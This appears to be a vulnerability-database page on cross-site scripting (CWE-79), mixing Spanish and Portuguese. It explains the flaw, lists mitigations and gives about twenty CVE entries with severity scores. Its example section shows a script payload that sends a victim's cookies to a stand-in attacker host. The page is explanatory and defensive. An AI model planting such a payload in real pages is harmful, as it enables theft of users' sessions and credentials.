Fallos del tipo CWE-79

28.836 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-43556MEDIUMConcrete CMS (formerly concrete5) below 8.5.10 and between 9.0.0 and 9.1.2 is vulnerable to XSS in the text input field since the result dasEPSS 0.6%CVE-2024-4797MEDIUMCampcodes Online Laundry Management System ajax.php cross site scriptingEPSS 0.6%CVE-2024-4724MEDIUMCampcodes Legal Case Management System case-type cross site scriptingEPSS 0.6%CVE-2024-4714MEDIUMCampcodes Complete Web-Based School Management System update_subject.php cross site scriptingEPSS 0.6%CVE-2022-3127MEDIUMCross-site Scripting (XSS) - Stored in jgraph/drawioEPSS 0.6%CVE-2023-24687MEDIUMMojoportal v2.7.0.0 was discovered to contain a stored cross-site scripting (XSS) vulnerability in the Company Info Settings component. ThisEPSS 0.6%CVE-2021-24180—Related Posts for WordPress < 2.0.4 - Authenticated Reflected Cross-Site Scripting (XSS)EPSS 0.6%CVE-2022-39338LOWStored cross site scripting (XSS) vulnerability via Authorization Endpoint in user_oidcEPSS 0.6%CVE-2021-41563MEDIUMTad Book3 - Stored XSSEPSS 0.6%CVE-2024-38036MEDIUMBUG-000154827 - Reflected XSS in ArcGIS Experience BuilderEPSS 0.6%CVE-2021-24187—SEO Redirection < 6.4 - Authenticated Reflected Cross-Site Scripting (XSS)EPSS 0.6%CVE-2024-31857MEDIUMForminator prior to 1.15.4 contains a cross-site scripting vulnerability. If this vulnerability is exploited, a remote attacker may obtain uEPSS 0.6%CVE-2024-4725MEDIUMCampcodes Legal Case Management System client_user cross site scriptingEPSS 0.6%CVE-2021-41567MEDIUMTad Uploader - Stored XSSEPSS 0.6%CVE-2025-46349HIGHYesWiki Vulnerable to Unauthenticated Reflected Cross-site ScriptingEPSS 0.6%CVE-2023-4932MEDIUMReflected Cross-Site Scripting in SAS 9.4EPSS 0.6%CVE-2023-2973LOWSourceCodester Students Online Internship Timesheet Syste cross site scriptingEPSS 0.6%CVE-2021-37860LOWMattermost 5.38 and earlier fails to sufficiently sanitize clipboard contents, which allows a user-assisted attacker to inject arbitrary webEPSS 0.6%CVE-2022-0506HIGHCross-site Scripting (XSS) - Stored in microweber/microweberEPSS 0.6%CVE-2024-43800MEDIUMserve-static affected by template injection that can lead to XSSEPSS 0.6%